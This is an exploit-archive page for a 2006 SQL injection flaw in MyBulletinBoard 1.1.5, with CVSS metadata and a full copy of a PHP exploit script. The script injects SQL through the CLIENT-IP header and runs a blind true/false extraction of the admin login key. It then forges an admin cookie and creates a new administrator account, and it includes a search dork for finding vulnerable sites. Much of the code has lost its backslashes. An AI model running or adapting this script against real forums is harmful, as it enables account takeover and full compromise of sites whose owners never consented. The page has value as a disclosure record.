MyBulletinBoard (MyBB) 1.1.5 'CLIENT-IP' sql injection
CVE
Category
Price
Severity
CWE-89
Unknown
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2006-07-26
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006070099 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploitn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]n";
echo "site: http://retrogod.altervista.orgn";
echo "dork, version specific: "Powered By MyBB" "2006 MyBB Group"nn";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONSn";
echo "host: target server (ip/hostname)n";
echo "path: path to MyBBn";
echo "Options:n";
echo " -T[prefix] specify a table prefix different from default (mybb_)n";
echo " -u[number] specify a user id other than 1 (usually admin)n";
echo " -p[port]: specify a port other than 80n";
echo " -P[ip:port]: specify a proxyn";
echo " -d: disclose table prefix (reccomended)n";
echo "Example:rn";
echo "php ".$argv[0]." localhost /MyBB/ -drn";
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_rn";
die;
}
/* software site: http://www.mybboard.com/
vulnerable code in inc/functions.php near lines 1292-1320:
...
function getip() {
global $_SERVER;
if($_SERVER['HTTP_X_FORWARDED_FOR'])
{
if(preg_match_all("#[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
{
while(list($key, $val) = each($addresses[0]))
{
if(!preg_match("#^(10|172.16|192.168).#", $val))
{
$ip = $val;
break;
}
}
}
}
if(!$ip)
{
if($_SERVER['HTTP_CLIENT_IP'])
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
}
return $ip;
}
...
you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
{
global $ipaddress, $db, $mybb, $noonline;
//
// Get our visitors IP
//
$this->ipaddress = $ipaddress = getip();
//
// User-agent
//
$this->useragent = $_SERVER['HTTP_USER_AGENT'];
if(strlen($this->useragent) > 100)
{
$this->useragent = substr($this->useragent, 0, 100);
}
//
// Attempt to find a session id in the cookies
//
if($_COOKIE['sid'])
{
$this->sid = addslashes($_COOKIE['sid']);
}
else
{
$this->sid = 0;
}
//
// Attempt to load the session from the database
//
$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...
injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.
------------------------------------------------------------------------
--------
-***********************************************************************
******-
* *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto *
* grazie Grosso! *
* *
-***********************************************************************
******-
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."rn";
$packet ="GET ".$p."index.php HTTP/1.0rn";
$packet.="CLIENT-IP: $sqlrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
$temp=explode("sessions",$html);
$temp2=explode(" ",$temp[0]);
$prefix=$temp2[count($temp2)-1];
echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"n";
}
else
{
echo "unable to disclose table prefix...n";
}
sleep(1);
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."rn";
$packet ="GET ".$p."index.php HTTP/1.0rn";
$packet.="CLIENT-IP: $sqlrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]rn";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."rn";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";
do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";
suntzoi (at) suntzu (dot) org [email concealed]
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";
Add User
-----------------------------7d62702f250530--
';
$packet="POST ".$p."admin/users.php HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (eregi("The user has successfully been added",$html))
{
echo "exploit succeeded... now login as adminn";
echo "with username "suntzu".$anumber."" and password "suntzu".$anumber.""n";
}
else
{
echo "something goes wrong...n";if(!$dt)echo "you may try -d optionn";
}
?>
original url: http://retrogod.altervista.org/mybb_115_sql.html
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